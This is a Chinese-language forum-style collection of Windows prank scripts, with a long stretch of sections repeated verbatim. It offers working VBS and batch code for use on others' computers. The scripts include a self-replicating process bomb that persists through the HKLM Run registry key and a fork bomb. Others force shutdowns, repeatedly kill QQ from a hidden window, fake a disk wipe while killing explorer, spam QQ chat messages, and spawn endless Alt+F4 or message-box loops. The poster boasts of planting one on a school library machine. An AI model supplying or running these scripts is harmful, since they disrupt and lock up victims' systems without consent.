十一、电脑死机了
Setsh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox " 程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
胆子大的可以运行看看, 嘿嘿, 改成.vbs 格式
cpu 飙到100% ，死机的。，强行关机都没反映，直接拔电源的，
之后重新打开电脑还是在继续开窗口，cao ，一直到2000 多的窗口，完全没办法动鼠标的，你妹的，这是坑人，
十二、电脑死机
do
createobject("wscript.shell").runwscript.scriptfullname
loop
别小看这三行, 你可以运行试试, 让你五秒内死机，十秒内鼠标不能动！改成.vbs
十三、我是猪
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>" 我是猪"
a=inputbox(" 快在下面的框框里输入我是猪, 否则后果自负，快输"" 我是猪"""," 输不输","")
loop
call shutdown(2)
msgbox " 早说就行了嘛",4096+64
msgbox" 再输一遍我是猪!",4096+64
msgbox" 我是猪!",4096+64
MsgBox" 最后一次!",4096+64
MsgBox" 如果你很快的点过去, 不看的话",4096+64
MsgBox" 我就要你踩我空间的! 哼!",4096+64
MsgBox" 从前有座山!",4096+64
MsgBox" 山里有个庙.",4096+64
MsgBox" 庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe ********/infocenter"
msgbox" 哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&" 只绵羊",4096+64
next
msgbox" 哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox" 最后问个问题，我是不是大好人！",4096+64
if inputbox(" 是不是"," 请选择"," 是")<>" 是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
记得把******** 换成你的qq 号，改成.vbs
十四、QQ 不能运行
off
if "%1" == "h" gotobegin
mshtavbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (gotonext)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
——————————分割线————————
把以上代码保存成txt 格式，然后把后缀改成bat, 然后双击运行
嘿嘿，那你的qq 就不能运行了哟
十五、磁盘格式化
@ color 4f
off
echo 删除计算机的C 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
@ color
echo.
echo.=========================================
echo. 啊哈哈，都删关，都杀关，哈哈 ……
echo.=========================================
echo. 系统将马上崩溃......
echo. 这是一个***程序...... 您的所有资料已经传到XXXX@163.com
shutdown /r /t 30 /c " 电脑在30s 内即将崩溃, 哈哈，你活该！"
ntsd -c q -pn explorer.exe
ping 127.0.0.1 /n 20 >nul
start explorer.exe
shutdown -a
____________________________ 分割线______________________
将分割线以上部分保存到txt 格式，然后把后缀改成bat 就可以运行了
运行后你的磁盘会被格式化
当然
那是假的。。。用来吓人的。。。
希望你玩的愉快。。。
--------------------------------------------------------------------
十六、系统关机
不懂的人看一下，那直接关机来说，就是复制下面那个直接关机代码
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t00",0 ,true
然后保存，后缀改为VBS 格式的，VBS 是VB 的脚本语言能直接通过DOS 运行的。
十七、QQ 骚扰信息
[replyview] 一、你打开好友的聊天对话框, 然后记下在你QQ 里好友的昵称, 把下面代码里的xx 替换一下, 就可以自定义发送QQ 信息到好友的次数( 代码里的数字10 改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(" 与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ 骚扰信息, 也可以用在其它程序上。
十八、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
十九、不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
二十、按500 次回车
( 以下代码在运行者的电脑上显示500 个对话框。其中 dountil s=500 ，500 可以随意更改)
dim s
do until s=500
s=s+1
msgbox " 哥们，给我按500 次回车吧",64
loop
二十一、我是猪
-------------------------------------------------------------------------------------------
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>" 我是猪"
a=inputbox(" 快在下面的框框里输入我是猪, 否则后果自负，快输"" 我是猪"""," 输不输","")
loop
call shutdown(2)
msgbox " 早说就行了嘛",4096+64
msgbox" 再输一遍我是猪!",4096+64
msgbox" 我是猪!",4096+64
MsgBox" 最后一次!",4096+64
MsgBox" 如果你很快的点过去, 不看的话",4096+64
MsgBox" 我就要你踩我空间的! 哼!",4096+64
MsgBox" 从前有座山!",4096+64
MsgBox" 山里有个庙.",4096+64
MsgBox" 庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe "
msgbox" 哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&" 只绵羊",4096+64
next
msgbox" 哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox" 最后问个问题，我是不是大好人！",4096+64
if inputbox(" 是不是"," 请选择"," 是")<>" 是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe "
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去 点到你设定的数字
for i=1 to 100
从1 到100
可以改成 20 其他的数字
解除这个VBS 脚本的办法就简单了 只是关掉任务管理器里Wscript.exe
这个进程就好了
Setsh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox " 程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
胆子大的可以运行看看, 嘿嘿, 改成.vbs 格式
cpu 飙到100% ，死机的。，强行关机都没反映，直接拔电源的，
之后重新打开电脑还是在继续开窗口，cao ，一直到2000 多的窗口，完全没办法动鼠标的，你妹的，这是坑人，
十二、电脑死机
do
createobject("wscript.shell").runwscript.scriptfullname
loop
别小看这三行, 你可以运行试试, 让你五秒内死机，十秒内鼠标不能动！改成.vbs
十三、我是猪
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>" 我是猪"
a=inputbox(" 快在下面的框框里输入我是猪, 否则后果自负，快输"" 我是猪"""," 输不输","")
loop
call shutdown(2)
msgbox " 早说就行了嘛",4096+64
msgbox" 再输一遍我是猪!",4096+64
msgbox" 我是猪!",4096+64
MsgBox" 最后一次!",4096+64
MsgBox" 如果你很快的点过去, 不看的话",4096+64
MsgBox" 我就要你踩我空间的! 哼!",4096+64
MsgBox" 从前有座山!",4096+64
MsgBox" 山里有个庙.",4096+64
MsgBox" 庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe ********/infocenter"
msgbox" 哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&" 只绵羊",4096+64
next
msgbox" 哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox" 最后问个问题，我是不是大好人！",4096+64
if inputbox(" 是不是"," 请选择"," 是")<>" 是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
记得把******** 换成你的qq 号，改成.vbs
十四、QQ 不能运行
off
if "%1" == "h" gotobegin
mshtavbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (gotonext)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
——————————分割线————————
把以上代码保存成txt 格式，然后把后缀改成bat, 然后双击运行
嘿嘿，那你的qq 就不能运行了哟
十五、磁盘格式化
@ color 4f
off
echo 删除计算机的C 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E 盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
@ color
echo.
echo.=========================================
echo. 啊哈哈，都删关，都杀关，哈哈 ……
echo.=========================================
echo. 系统将马上崩溃......
echo. 这是一个***程序...... 您的所有资料已经传到XXXX@163.com
shutdown /r /t 30 /c " 电脑在30s 内即将崩溃, 哈哈，你活该！"
ntsd -c q -pn explorer.exe
ping 127.0.0.1 /n 20 >nul
start explorer.exe
shutdown -a
____________________________ 分割线______________________
将分割线以上部分保存到txt 格式，然后把后缀改成bat 就可以运行了
运行后你的磁盘会被格式化
当然
那是假的。。。用来吓人的。。。
希望你玩的愉快。。。
--------------------------------------------------------------------
十六、系统关机
不懂的人看一下，那直接关机来说，就是复制下面那个直接关机代码
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t00",0 ,true
然后保存，后缀改为VBS 格式的，VBS 是VB 的脚本语言能直接通过DOS 运行的。
十七、QQ 骚扰信息
[replyview] 一、你打开好友的聊天对话框, 然后记下在你QQ 里好友的昵称, 把下面代码里的xx 替换一下, 就可以自定义发送QQ 信息到好友的次数( 代码里的数字10 改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(" 与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ 骚扰信息, 也可以用在其它程序上。
十八、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
十九、不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
二十、按500 次回车
( 以下代码在运行者的电脑上显示500 个对话框。其中 dountil s=500 ，500 可以随意更改)
dim s
do until s=500
s=s+1
msgbox " 哥们，给我按500 次回车吧",64
loop
二十一、我是猪
-------------------------------------------------------------------------------------------
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>" 我是猪"
a=inputbox(" 快在下面的框框里输入我是猪, 否则后果自负，快输"" 我是猪"""," 输不输","")
loop
call shutdown(2)
msgbox " 早说就行了嘛",4096+64
msgbox" 再输一遍我是猪!",4096+64
msgbox" 我是猪!",4096+64
MsgBox" 最后一次!",4096+64
MsgBox" 如果你很快的点过去, 不看的话",4096+64
MsgBox" 我就要你踩我空间的! 哼!",4096+64
MsgBox" 从前有座山!",4096+64
MsgBox" 山里有个庙.",4096+64
MsgBox" 庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe "
msgbox" 哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&" 只绵羊",4096+64
next
msgbox" 哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox" 最后问个问题，我是不是大好人！",4096+64
if inputbox(" 是不是"," 请选择"," 是")<>" 是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe "
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去 点到你设定的数字
for i=1 to 100
从1 到100
可以改成 20 其他的数字
解除这个VBS 脚本的办法就简单了 只是关掉任务管理器里Wscript.exe
这个进程就好了